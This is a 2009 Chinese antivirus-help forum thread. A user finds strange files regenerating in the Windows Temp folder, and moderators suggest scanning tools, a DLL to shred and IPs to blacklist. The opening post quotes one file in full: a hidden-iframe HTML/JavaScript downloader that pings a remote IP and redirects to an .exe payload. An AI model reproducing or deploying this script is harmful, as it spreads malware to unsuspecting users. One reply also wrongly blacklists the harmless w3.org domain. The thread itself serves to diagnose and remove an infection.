1   1  /  1  页   跳转页

[求助] 在Temp文件夹里总是自动生成病毒

收藏
erlin000001
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2009-01-18
  • 来自:
发表于： 2009-01-18 17:19 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

在Temp文件夹里总是自动生成病毒

在C:\Documents and Settings\Administrator\Local Settings\Temp文件夹里每次上网都生成很多没有后缀名字的文件，都是由7个随机数字的名字，其中有一半用记事本打开是乱码，另一半用记事本打开里面是      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head></head><body><iframe id="timeFrm" src="about:blank" height=0 width=0 style="visibility:hidden" ></iframe><script type="text/javascript">var myTranFunc = function (){window.location="http://www.wixks.com/new/new10.exe";};function tranTime(){var a=new Date();document.getElementById("timeFrm").src="http://60.6.255.168/npserver/WebForm1.aspx?seq=" + a.getTime();}try{tranTime();window.setTimeout("myTranFunc()",10);}catch(e){ window.location="http://www.wixks.com/new/new10.exe";}</script><noscript><Meta http-equiv="Refresh" C></noscript></body><noframes><Meta http-equiv="Refresh" C></noframes></html>
其中网址后面的new10.exe可以下载，而其每个里面的名字都不一样，从new01.exe一直到new23.exe
我把这些文件都下了下来上传到附件里，不知道是什么病毒

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MAXTHON 2.0)

附件附件:

文件名:1.rar
下载次数:333
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 17:19:30
描述:rar

附件附件:

文件名:2.rar
下载次数:329
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 17:19:30
描述:rar

附件附件:

文件名:3.rar
下载次数:283
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 17:19:30
描述:rar
分享到：
gototop
 
aaccbbdd
头像
卡卡巡查
  • 帖子:45933
  • 注册: 2007-11-17
  • 来自:蜀山仙剑派
论坛8周年活动礼物卡卡名人堂祖国六十华诞09欢乐圣诞吃货勋章2012我眼中的你们幸福玫瑰
发表于： 2009-01-18 17:28 | 短消息 资料
字号： 小 中 大 2楼

回复：在Temp文件夹里总是自动生成病毒

个人建议不要偷懒，清理助手必须清理系统（如果可以运行的话），金山和sreng日志必须同时上传

1.扫日志前建议清理助手清理系统
清理助手下载
升级清理助手，全盘扫描，只清理报为病毒的高危险项目,其他项目请自己判断
同时观察清理助手是否报告系统文件被替换。(注：如发现系统文件被替换，请将情况报上来，勿自己随意操作。如自己私自替换的，导致不能进系统，责任自负)

如清理无效

2.扫日志前关闭无用进程，如QQ，迅雷及播放器程序
3.Sreng官方下载
SREng/智能扫描(记得勾选“检查进程的数字签名)
等扫描完成,保存日志(LOG格式)
PS：如主程序SREng**.exe无法运行,导致无法扫描日志
将主程序改名为我爱小狮子.bat
或我爱小狮子.scr
4.金山清理专家官方下载  | 免安装版直接运行版金山清理专家下载
金山清理专家-在线系统诊断（隐藏安全项）-导出诊断报告-（全选）-导出报告
5.2份日志/报告以附件上传（点击我这贴右下角的“引用”或最右下角的那个较大的“回复”然后就应该知道怎么发了。），贴到反病毒/反流氓软件论坛.如已发帖的请跟贴，勿另开新帖。

建议2份日志同时上传，起到互补的作用（原因：金山和SRENG都能扫出另一个不能扫出的内容）！！
gototop
 
erlin000001
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2009-01-18
  • 来自:
发表于： 2009-01-18 18:02 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

回复: 在Temp文件夹里总是自动生成病毒



引用:
原帖由 aaccbbdd 于 2009-1-18 17:28:00 发表
个人建议不要偷懒，清理助手必须清理系统（如果可以运行的话），金山和sreng日志必须同时上传

1.扫日志前建议清理助手清理系统
清理助手下载
升级清理助手，全盘扫描，只清理报为病毒的高危险项目,其他项目请自己判断
同时观察清理助手是否报告

附件附件:

文件名:Report.txt
下载次数:223
文件类型:text/plain
文件大小:
上传时间:2009-1-18 18:01:44
描述:txt

附件附件:

文件名:SREngLOG.log
下载次数:189
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 18:01:44
描述:log
gototop
 
aaccbbdd
头像
卡卡巡查
  • 帖子:45933
  • 注册: 2007-11-17
  • 来自:蜀山仙剑派
论坛8周年活动礼物卡卡名人堂祖国六十华诞09欢乐圣诞吃货勋章2012我眼中的你们幸福玫瑰
发表于： 2009-01-18 18:06 | 短消息 资料
字号： 小 中 大 4楼

回复：在Temp文件夹里总是自动生成病毒

金山清理专家-安全百宝箱-文件粉碎器
粉碎文件：
C:\windows\system32\kcffcgfg.dll

金山清理专家-在线系统诊断
隐藏安全项后
清除该项：
      <{4CFFC0F0-2162-4095-A3D7-E5316FBA9885}>            <C:\windows\system32\kcffcgfg.dll>
gototop
 
pigboy
头像
卡卡反病毒小组
  • 帖子:3784
  • 注册: 2007-02-22
  • 来自:
论坛8周年活动礼物十周年
发表于： 2009-01-18 18:12 | 短消息 资料
字号： 小 中 大 5楼

回复：在Temp文件夹里总是自动生成病毒

开机先按F8进入安全模式清理C:\Documents and Settings\Administrator\Local Settings\Temp里面的所有垃圾文件;
      然后打开瑞星防火墙 详细设置--规则设置--黑名单  增加IP地址:58.253.68.65、60.6.255.168(名称随意)    在下面的恶意网址拦截--网站黑名单里分别增加http://www.w3.org、http://58.253.68.65、http://60.6.255.168等地址
    最后在IE安全项的受限站点里分别添加http://www.w3.org、http://58.253.68.65、http://60.6.255.168等地址  使用卡卡助手的清理功能进行清理一下即可
gototop
 
erlin000001
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2009-01-18
  • 来自:
发表于： 2009-01-18 19:49 | 只看楼主 短消息 资料
字号： 小 中 大 6楼

回复：在Temp文件夹里总是自动生成病毒

没有找到你说的C:\windows\system32\kcffcgfg.dll
gototop
 
yebuxing
头像
初生襁褓狮
  • 帖子:4
  • 注册: 2009-01-18
  • 来自:
发表于： 2009-01-18 21:12 | 短消息 资料
字号： 小 中 大 7楼

回复: 在Temp文件夹里总是自动生成病毒

我的也出现这样的问题 好多天没有解决了 
这个是我的扫描报告

附件附件:

文件名:SREng.log
下载次数:212
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 21:12:07
描述:log

附件附件:

下载次数:295
文件类型:text/plain
文件大小:
上传时间:2009-1-18 21:19:27
描述:txt

最后编辑yebuxing 最后编辑于 2009-01-18 21:19:27
gototop
 
浪漫纸箱
头像
锋芒艾服狮
  • 帖子:2140
  • 注册: 2008-07-05
  • 来自:
论坛8周年活动礼物祖国六十华诞09欢乐圣诞10温馨圣诞十周年
发表于： 2009-01-18 21:47 | 短消息 资料
字号： 小 中 大 8楼

回复：在Temp文件夹里总是自动生成病毒

C:\windows\system32\kcffcgfg.dll
F:\paopaotang\泡泡堂机械帝国\GameGuard\npggNT.des
F:\paopaotang\泡泡堂机械帝国\CA.exe
建议将此三项按此路径上传至http://www.virustotal.com/zh-cn/  把结果报回此贴。
F:\paopaotang\泡泡堂机械帝国\CA.exe基本可以认为是恶意文件，如果瑞星最新版没有报毒，请将该文件打包发送到可以文件交流区。
最后编辑浪漫纸箱 最后编辑于 2009-01-18 21:54:38
纸箱签名处：
如何截图及以附件形式上传至论坛
gototop
 
浪漫纸箱
头像
锋芒艾服狮
  • 帖子:2140
  • 注册: 2008-07-05
  • 来自:
论坛8周年活动礼物祖国六十华诞09欢乐圣诞10温馨圣诞十周年
发表于： 2009-01-18 22:00 | 短消息 资料
字号： 小 中 大 9楼

回复：在Temp文件夹里总是自动生成病毒

七楼的同志，您的情况不大一致，请另行开贴。
纸箱签名处：
如何截图及以附件形式上传至论坛
gototop
 
maojijia
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2009-01-19
  • 来自:
发表于： 2009-01-19 03:29 | 短消息 资料
字号： 小 中 大 10楼

回复：在Temp文件夹里总是自动生成病毒

我的以前也有这种情况，我都从做啦系统，谢谢高手啊
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT